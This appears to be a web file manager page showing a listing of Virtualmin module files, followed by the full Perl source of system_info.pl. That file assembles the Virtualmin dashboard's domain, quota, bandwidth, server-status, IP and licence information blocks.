-rw-r--r--
upgrade-licence.pl
3.91
KB
-rwxr-xr-x
upgrade-license.pl
3.91
KB
-rwxr-xr-x
upgrade.cgi
11.96
KB
-rwxr-xr-x
upload-api-docs.pl
6.18
KB
-rwxr-xr-x
upload-dropbox-file.pl
1.78
KB
-rwxr-xr-x
upload-rs-file.pl
2.83
KB
-rwxr-xr-x
upload-s3-file.pl
3.18
KB
-rwxr-xr-x
usage.cgi
5.71
KB
-rwxr-xr-x
user-template
380
B
-rw-r--r--
useradmin_update.pl
2.71
KB
-rwxr-xr-x
validate-domains.pl
3.54
KB
-rwxr-xr-x
validate.cgi
1.67
KB
-rwxr-xr-x
validate.pl
2.29
KB
-rwxr-xr-x
view_backuplog.cgi
4.28
KB
-rwxr-xr-x
view_domain.cgi
7.04
KB
-rwxr-xr-x
view_log.cgi
1.35
KB
-rwxr-xr-x
view_records.cgi
1.38
KB
-rwxr-xr-x
virtual-server-lib-funcs.pl
534.17
KB
-rwxr-xr-x
virtual-server-lib.pl
15.62
KB
-rwxr-xr-x
virtual_feature_api.pl
21.35
KB
-rwxr-xr-x
virtualmin-licence.pl
1.7
KB
-rwxr-xr-x
vui-lib.pl
7.56
KB
-rwxr-xr-x
warnbw-template
453
B
-rw-r--r--
webmin_menu.pl
6.08
KB
-rw-r--r--
webmincron-fixed.pl
473
B
-rwxr-xr-x
wizard-lib.pl
25.03
KB
-rwxr-xr-x
wizard.cgi
2.09
KB
-rwxr-xr-x
writelogs.pl
690
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : system_info.pl
# Provide more system info blocks specific to Virtualmin do 'virtual-server-lib.pl'; use Time::Local; sub list_system_info { my ($data, $in) = @_; # If user doesn't have access to Virtualmin, none of this makes sense if (!&foreign_available($module_name)) { return ( ); } my @rv; my $info = &get_collected_info(); my @vposs = $info ? @{$info->{'vposs'}} : ( ); my @doms = &list_visible_domains(); # Check for wizard redirect my $redir = &wizard_redirect(); if ($redir) { push(@rv, { 'type' => 'redirect', 'url' => $redir }); } # Custom URL redirect if ($data->{'alt'} && !$in{'noalt'}) { push(@rv, { 'type' => 'redirect', 'url' => $data->{'alt'} }); } # Refresh button that does Virtualmin too, and replaces the one # from the system-status module push(@rv, { 'type' => 'link', 'id' => 'vrecollect', 'priority' => 100, 'desc' => $text{'right_recollect'}, 'link' => '/'.$module_name.'/recollect.cgi' }); push(@rv, { 'type' => 'veto', 'veto' => 'recollect' }); # Warning messages foreach my $warn (&list_warning_messages()) { push(@rv, { 'type' => 'warning', 'level' => 'warn', 'warning' => $warn }); } # Need to check module config? if (&need_config_check() && &can_check_config()) { push(@rv, { 'type' => 'warning', 'level' => 'info', 'warning' => &ui_form_start('/'.$module_name.'/check.cgi'). "$text{'index_needcheck'}<p>\n". &ui_submit($text{'index_srefresh'}). &ui_form_end(), }); } # Suggest to GPL user to get Virtualmin Pro if (!$virtualmin_pro && &should_show_pro_tip('dashboard', 'force')) { # Do not show dashboard alert within first three days, until things settle down &foreign_require("webmin"); my $uptime = &webmin::get_system_uptime(); $uptime = (!$uptime || $uptime > 60*60*24 * 4); # Show alert in another five days if reminder been set my ($remind) = &should_show_pro_tip('dashboard_reminder', 'force'); my $futureremind = (int($remind) + (60*60*24 * 5)); my $doremind = ($remind && $futureremind < time()); if (($uptime && !$remind) || ($uptime && $doremind)) { push(@rv, { 'type' => 'warning', 'level' => 'info', 'warning' => { 'alert' => &alert_pro_tip('dashboard', { 'alert_title' => $text{'scripts_gpl_pro_tip_title_dashboard'}, 'alert_body1' => $text{'scripts_gpl_pro_tip_dashboard'} . " ", 'alert_body2' => &text('scripts_gpl_pro_tip_enroll_dashboard', 'https://www.virtualmin.com/product-category/virtualmin/'), 'button_text' => $text{'scripts_gpl_pro_tip_hide2'}, 'button_icon' => 'fa fa-fw fa-heartbeat', 'button_text2' => $text{'scripts_gpl_pro_tip_open'}, 'button_icon2' => 'fa fa-fw fa-unlock', 'button_text3' => $text{'scripts_gpl_pro_tip_remind'}, 'button_icon3' => 'fa fa-fw fa-clock', }) }, }); } } # Show a domain owner info about his domain, but NOT info about the system if (!&master_admin() && !&reseller_admin()) { my @table; # General info about the domain my $ex = &extra_admin(); my $d = $ex ? &get_domain($ex) : &get_domain_by("user", $remote_user, "parent", ""); push(@table, { 'desc' => $text{'right_login'}, 'value' => $remote_user }); push(@table, { 'desc' => $text{'right_from'}, 'value' => $ENV{'REMOTE_HOST'} }); push(@table, { 'desc' => $text{'right_virtualmin'}, 'value' => $module_info{'version'} }); push(@table, { 'desc' => $text{'right_dom'}, 'value' => &show_domain_name($d) }); # Number of sub-servers my @subs = ( $d, virtual_server::get_domain_by("parent", $d->{'id'}) ); my @reals = grep { !$_->{'alias'} } @subs; my @mails = grep { $_->{'mail'} } @subs; my ($sleft, $sreason, $stotal, $shide) = &count_domains("realdoms"); if ($sleft < 0 || $shide) { push(@table, { 'desc' => $text{'right_subs'}, 'value' => scalar(@reals) }); } else { push(@table, { 'desc' => $text{'right_subs'}, 'value' => &text('right_of', scalar(@reals), $stotal) }); } # Number of alias domains my @aliases = grep { $_->{'alias'} } @subs; if (@aliases) { my ($aleft, $areason, $atotal, $ahide) = &count_domains("aliasdoms"); if ($aleft < 0 || $ahide) { push(@table, { 'desc' => $text{'right_aliases'}, 'value' => scalar(@aliases) }); } else { push(@table, { 'desc' => $text{'right_aliases'}, 'value' => &text('right_of', scalar(@aliases), $atotal) }); } } # Users and aliases my $users = &count_domain_feature("mailboxes", @subs); my ($uleft, $ureason, $utotal, $uhide) = &count_feature("mailboxes"); my $msg = @mails ? $text{'right_fusers'} : $text{'right_fusers2'}; if ($uleft < 0 || $uhide) { push(@table, { 'desc' => $msg, 'value' => $users }); } else { push(@table, { 'desc' => $msg, 'value' => &text('right_of', $users, $utotal) }); } # Mail aliases if (@mails) { my $aliases = &count_domain_feature("aliases", @subs); my ($aleft, $areason, $atotal, $ahide) = virtual_server::count_feature("aliases"); if ($aleft < 0 || $ahide) { push(@table, { 'desc' => $text{'right_faliases'}, 'value' => $aliases }); } else { push(@table, { 'desc' => $text{'right_faliases'}, 'value' => &text('right_of', $aliases, $atotal) }); } } # Database count my $dbs = &count_domain_feature("dbs", @subs); my ($dleft, $dreason, $dtotal, $dhide) = virtual_server::count_feature("dbs"); if ($dleft < 0 || $dhide) { push(@table, { 'desc' => $text{'right_fdbs'}, 'value' => $dbs }); } else { push(@table, { 'desc' => $text{'right_fdbs'}, 'value' => &text('right_of', $dbs, $dtotal) }); } # Quota summary for top-level domain if (!$data->{'noquotas'} && virtual_server::has_home_quotas()) { my $homesize = virtual_server::quota_bsize("home"); my $mailsize = virtual_server::quota_bsize("mail"); my ($home, $mail, $db) = &get_domain_quota($d, 1); my $usage = $home*$homesize + $mail*$mailsize + $db; my $limit = $d->{'quota'}*$homesize; if ($limit) { if ($usage > $limit) { $limit = $usage; } push(@table, { 'desc' => $text{'right_quota'}, 'value' => &text('right_out', &nice_size($usage), &nice_size($limit)), 'chart' => [ $limit, $usage-$db, $db ]}); } else { push(@table, { 'desc' => $text{'right_quota'}, 'value' => &nice_size($usage), 'wide' => 1 }); } } push(@rv, { 'type' => 'table', 'id' => 'domain', 'desc' => $text{'right_header3'}, 'table' => \@table }); if ($data->{'nosysinfo'}) { push(@rv, { 'type' => 'veto', 'veto' => 'sysinfo' }); } } # If this user can't see system info, block it if (!&can_view_sysinfo()) { push(@rv, { 'type' => 'veto', 'veto' => 'sysinfo' }); } # Virtualmin package updates, filtered from the possible updates list my $hasvposs = foreign_check("package-updates"); my $canvposs = foreign_available("package-updates"); if (!$data->{'noupdates'} && $hasvposs && $canvposs && @vposs) { my $html = &ui_form_start("@{[&get_webprefix_safe()]}/package-updates/update.cgi"); $html .= &ui_hidden("redirdesc", $text{'right_sysinfo'}); $html .= &ui_hidden("confirm", 1); $html .= &text(@vposs > 1 ? 'right_upcount' : 'right_upcount1', scalar(@vposs), &get_webprefix_safe() . '/package-updates/index.cgi?mode=updates')."<p>\n"; $html .= &ui_columns_start([ $text{'right_upname'}, $text{'right_updesc'}, $text{'right_upver'} ], "80%"); foreach my $p (@vposs) { $html .= &ui_columns_row([ ($p->{'name'} . &ui_hidden("u", $p->{'update'}."/".$p->{'system'})), $p->{'desc'}, $p->{'version'} ] ); } $html .= &ui_columns_end(); $html .= &ui_form_end([ [ undef, $text{'right_upok'} ] ]); push(@rv, { 'type' => 'html', 'id' => 'updates', 'open' => 1, 'desc' => $text{'right_updatesheader'}, 'html' => $html }); # Block same section from being shown by Cloudmin push(@rv, { 'type' => 'veto', 'veto' => 'updates', 'veto_module' => 'server-manager' }); } # Status of various servers if (!$data->{'nostatus'} && $info->{'startstop'} && &can_stop_servers()) { my @ss = @{$info->{'startstop'}}; my @down = grep { !$_->{'status'} } @ss; my @table; my $idir = &get_webprefix_safe() . '/'.$module_name.'/images'; foreach my $status (@ss) { # Work out label, possibly with link my $label; foreach my $l (@{$status->{'links'}}) { if ($l->{'manage'}) { $label = &ui_link(&get_webprefix_safe() . $l->{'link'}, $status->{'name'}); } } $label ||= $status->{'name'}; # Stop / start icon my $action = ($status->{'status'} ? "stop_feature.cgi" : "start_feature.cgi"); my $action_icon = ($status->{'status'} ? "<img src='$idir/stop.png' alt='$status->{'desc'}' />" : "<img src='$idir/start.png' alt='$status->{'desc'}' />"); my $action_link = "<a href='@{[&get_webprefix_safe()]}/$module_name/$action?". "feature=$status->{'feature'}&id=$status->{'id'}'". " title='$status->{'desc'}'>". "$action_icon</a>"; # Restart link my $restart_link = ($status->{'status'} ? "<a href='@{[&get_webprefix_safe()]}/$module_name/restart_feature.cgi?". "feature=$status->{'feature'}&id=$status->{'id'}'". " title='$status->{'restartdesc'}'>". "<img src='$idir/reload.png'". "alt='$status->{'restartdesc'}'></a>\n" : ""); push(@table, { 'desc' => $label, 'value' => (!$status->{'status'} ? "<img src='$idir/down.gif' alt='Stopped'>" : "<img src='$idir/up.gif' alt='Running'>"). $action_link. " ".$restart_link }); } push(@rv, { 'type' => 'table', 'id' => 'status', 'desc' => $text{'right_statusheader'}, 'open' => @down ? 1 : 0, 'table' => \@table }); } # New features if ($data->{'dom'}) { $defdom = &get_domain($data->{'dom'}); if ($defdom && !&can_edit_domain($defdom)) { $defdom = undef; } } if (!$defdom && @doms) { $defdom = $doms[0]; } my $newhtml = &get_new_features_html($defdom); if ($newhtml) { push(@rv, { 'type' => 'html', 'id' => 'newfeatures', 'open' => 1, 'desc' => $text{'right_newfeaturesheader'}, 'html' => $newhtml }); } # Show usage count by type if (&master_admin() && !$data->{'novirtualmin'} && $info->{'fcount'}) { my @table; foreach my $f (@{$info->{'ftypes'}}) { my $cur = int($info->{'fcount'}->{$f}); my $extra = $info->{'fextra'}->{$f}; my $max = $info->{'fmax'}->{$f}; my $hide = $info->{'fhide'}->{$f}; if ($extra < 0 || $hide) { push(@table, { 'desc' => $text{'right_f'.$f}, 'value' => $cur }); } else { push(@table, { 'desc' => $text{'right_f'.$f}, 'value' => &text('right_out', $cur, $max) }); } } push(@rv, { 'type' => 'table', 'id' => 'ftypes', 'desc' => $text{'right_virtheader'}, 'open' => 0, 'table' => \@table }); } # Top quota users my @quota = $info->{'quota'} ? grep { &can_edit_domain($_->[0]) } @{$info->{'quota'}} : ( ); if (!$data->{'noquotas'} && @quota && (&master_admin() || &reseller_admin())) { my @usage; my $max = $data->{'max'} || 10; my $maxquota = $info->{'maxquota'}; # Work out if showing by percent makes sense my $qshow = $data->{'qshow'}; if ($qshow) { my @quotawithlimit = grep { $_->[2] } @quota; $qshow = 0 if (!@quotawithlimit); } # Limit to those with a quota limit, if showing a percent if ($qshow) { @quota = grep { $_->[2] } @quota; } if ($qshow) { # Sort by percent used @quota = grep { $_->[2] } @quota; @quota = sort { ($b->[1]+$b->[3])/$b->[2] <=> ($a->[1]+$a->[3])/$a->[2] } @quota; } else { # Sort by usage @quota = sort { $b->[1]+$b->[3] <=> $a->[1]+$a->[3] } @quota; } # Message above list my $qmsg; if (@quota > $max) { @quota = @quota[0..($max-1)]; $qmsg = &text('right_quotamax', $max); } elsif (&master_admin()) { $qmsg = $text{'right_quotaall'}; } else { $qmsg = $text{'right_quotayours'}; } my $open = 0; foreach my $q (@quota) { my $cmd = &can_edit_domain($q->[0]) ? "edit_domain.cgi" : "view_domain.cgi"; my $chart = { 'desc' => &ui_link( &get_webprefix_safe() . '/'.$module_name.'/'.$cmd.'?dom='.$q->[0]->{'id'}, &show_domain_name($q->[0])) }; if ($qshow) { # By percent used my $qpc = int($q->[1]*100 / $q->[2]); my $dpc = int($q->[3]*100 / $q->[2]); $chart->{'chart'} = [ 100, $qpc, $dpc ]; } else { # By actual usage $chart->{'chart'} = [ $maxquota, $q->[1], $q->[3] ]; } if ($q->[2]) { # Show used and limit my $pc = int(($q->[1]+$q->[3])*100 / $q->[2]); $pc = " $pc" if ($pc < 10); $chart->{'value'} = &text('right_out', &nice_size($q->[1]+$q->[3]), &nice_size($q->[2])); } else { # Just show used $chart->{'value'} = &nice_size($q->[1]+$q->[3]); } if ($q->[2] && $q->[1]+$q->[3] >= $q->[2]) { # Domain is over quota $open = 1; } push(@usage, $chart); } push(@rv, { 'type' => 'chart', 'id' => 'quota', 'desc' => $text{'right_quotasheader'}, 'open' => $open, 'header' => $qmsg, 'chart' => \@usage }); } # Top BW users my @bwdoms = grep { !$_->{'parent'} && defined($_->{'bw_usage'}) } @doms; my $maxbw = 0; foreach my $d (@doms) { $maxbw = $d->{'bw_limit'} if ($d->{'bw_limit'} > $maxbw); $maxbw = $d->{'bw_usage'} if ($d->{'bw_usage'} > $maxbw); } if (!$data->{'nobw'} && $config{'bw_active'} && @bwdoms && $maxbw) { my $qshow = $data->{'qshow'}; # Work out if showing by percent makes sense my $qshow = $data->{'qshow'}; if ($qshow) { my @domswithlimit = grep { $_->{'bw_limit'} } @doms; $qshow = 0 if (!@domswithlimit); } if ($qshow) { # Sort by percent used @doms = grep { $_->{'bw_limit'} } @doms; @doms = sort { $b->{'bw_usage'}/$b->{'bw_limit'} <=> $a->{'bw_usage'}/$a->{'bw_limit'} } @doms; } else { # Sort by usage @doms = sort { $b->{'bw_usage'} <=> $a->{'bw_usage'} } @doms; } # Show message about number of domains being displayed my $max = $data->{'max'} || 10; my $qmsg; if (@doms > $max) { @doms = @doms[0..($max-1)]; $qmsg = &text('right_quotamax', $max); } else { $qmsg = $text{'right_quotaall'}; } # Add the table of domains my $open = 0; foreach my $d (@doms) { my $cmd = &can_edit_domain($d) ? "edit_domain.cgi" : "view_domain.cgi"; my $chart = { 'desc' => &ui_link( &get_webprefix_safe() . '/'.$module_name.'/'.$cmd.'?dom='.$d->{'id'}, &show_domain_name($d)) }; my $pc = $d->{'bw_limit'} ? int($d->{'bw_usage'}*100 / $d->{'bw_limit'}) : undef; if ($qshow) { # By percent used $chart->{'chart'} = [ 100, $pc ]; } else { # By actual usage $chart->{'chart'} = [ $maxbw, $d->{'bw_usage'} ]; } # Percent used, if available if ($d->{'bw_limit'}) { $pc = " $pc" if ($pc < 10); $chart->{'value'} = &text('right_out', &nice_size($d->{'bw_usage'}), &nice_size($d->{'bw_limit'})); } else { $chart->{'value'} = &nice_size($d->{'bw_usage'}); } push(@usage, $chart); if ($d->{'bw_limit'} && $d->{'bw_usage'} >= $d->{'bw_limit'}) { $open = 1; } } push(@rv, { 'type' => 'chart', 'id' => 'bw', 'desc' => $text{'right_bwheader'}, 'open' => $open, 'header' => $qmsg, 'chart' => \@usage }); } # IP addresses used if (&master_admin() && !$data->{'noips'} && $info->{'ips'}) { my @table; my @allips = @{$info->{'ips'}}; push(@allips, @{$info->{'ips6'}}) if ($info->{'ips6'}); foreach my $ipi (@allips) { my $umsg; if ($ipi->[3] == 1) { $umsg = "<tt>$ipi->[4]</tt>"; } else { my $slink = &get_webprefix_safe() . '/'.$module_name. '/search.cgi?field=ip&what='.$ipi->[0]; $umsg = &ui_link($slink, &text('right_ips', $ipi->[3])); } push(@table, { 'desc' => $ipi->[0], 'value' => ($ipi->[1] eq 'def' ? $text{'right_defip'} : $ipi->[1] eq 'reseller' ? text('right_reselip', $ipi->[2]) : $ipi->[1] eq 'shared' ? $text{'right_sharedip'} : $text{'right_ip'})." ".$umsg }); } if ($info->{'ipranges'}) { foreach my $r (@{$info->{'ipranges'}}) { push(@table, { 'desc' => $r->[0], 'value' => &text('right_iprange', $r->[1], $r->[2]), 'wide' => 1 }); } } push(@rv, { 'type' => 'table', 'id' => 'ips', 'desc' => $text{'right_ipsheader'}, 'open' => 0, 'table' => \@table }); } # Programs and versions if (!$data->{'nosysinfo'} && $info->{'progs'} && &can_view_sysinfo()) { my @table; foreach my $info (@{$info->{'progs'}}) { push(@table, { 'desc' => $info->[0], 'value' => $info->[1] }); } push(@rv, { 'type' => 'table', 'id' => 'sysinfo', 'desc' => $text{'right_sysinfoheader'}, 'open' => 0, 'table' => \@table }); } # Virtualmin licence my %vserial; if (&read_env_file($virtualmin_license_file, \%vserial) && $vserial{'SerialNumber'} ne 'GPL' && &master_admin()) { my @table; my $open = 0; # Serial and key push(@table, { 'desc' => $text{'right_vserial'}, 'value' => $vserial{'SerialNumber'} }); # Allowed domain counts my ($dleft, $dreason, $dmax, $dhide) = &count_domains("realdoms"); push(@table, { 'desc' => $text{'right_vmax'}, 'value' => $dmax <= 0 ? $text{'right_vunlimited'} : $dmax }); push(@table, { 'desc' => $text{'right_vleft'}, 'value' => $dleft < 0 ? $text{'right_vunlimited'} : $dleft }); # Add allowed domain counts my %lstatus; &read_file($licence_status, \%lstatus); if ($lstatus{'used_servers'}) { push(@table, { 'desc' => $text{'right_smax'}, 'value' => $lstatus{'servers'} || $text{'right_vunlimited'} }); push(@table, { 'desc' => $text{'right_sused'}, 'value' => $lstatus{'used_servers'} }); } # Show license expiry date if ($lstatus{'expiry'} =~ /^203[2-8]-/) { push(@table, { 'desc' => $text{'right_expiry'}, 'value' => $text{'right_expirynever'} }); } elsif ($lstatus{'expiry'}) { push(@table, { 'desc' => $text{'right_expiry'}, 'value' => $lstatus{'expiry'} }); my $ltm = &parse_license_date($lstatus{'expiry'}); if ($ltm) { my $days = int(($ltm - time()) / (24*60*60)); push(@table, { 'desc' => $text{'right_expirydays'}, 'value' => $days < 0 ? &text('right_expiryago', -$days) : $days }); $open = 1 if ($days < 7); } } push(@rv, { 'type' => 'table', 'id' => 'serial', 'desc' => $text{'right_licenceheader'}, 'open' => $open, 'table' => \@table }); # Re-check licence link push(@rv, { 'type' => 'link', 'priority' => 20, 'desc' => $text{'right_vlcheck'}, 'link' => '/'.$module_name.'/licence.cgi' }); } # Documentation links my $doclink = &get_virtualmin_docs(); push(@rv, { 'type' => 'link', 'priority' => 50, 'desc' => $text{'right_virtdocs'}, 'target' => 'new', 'link' => $doclink }); if ($config{'docs_link'}) { push(@rv, { 'type' => 'link', 'priority' => 49, 'desc' => $text{'right_virtdocs2'}, 'target' => 'new', 'link' => $config{'docs_link'} }); } # Sections defined by plugins my $level = &master_admin() ? 0 : &reseller_admin() ? 2 : 1; foreach my $p (&list_plugin_sections($level)) { push(@rv, { 'type' => 'html', 'id' => 'plugin_'.$p->{'name'}, 'desc' => $p->{'title'}, 'html' => $p->{'html'}, 'open' => $p->{'status'} }); } return @rv; } sub get_virtualmin_docs { return &master_admin() ? "http://www.virtualmin.com/documentation" : &reseller_admin() ? "http://www.virtualmin.com/documentation/users/reseller" : "http://www.virtualmin.com/documentation/users/server-owner"; } sub parse_license_date { my ($str) = @_; if ($str =~ /^(\d{4})-(\d+)-(\d+)$/) { return eval { timelocal(0, 0, 0, $3, $2-1, $1-1900) }; } return undef; } 1;
Close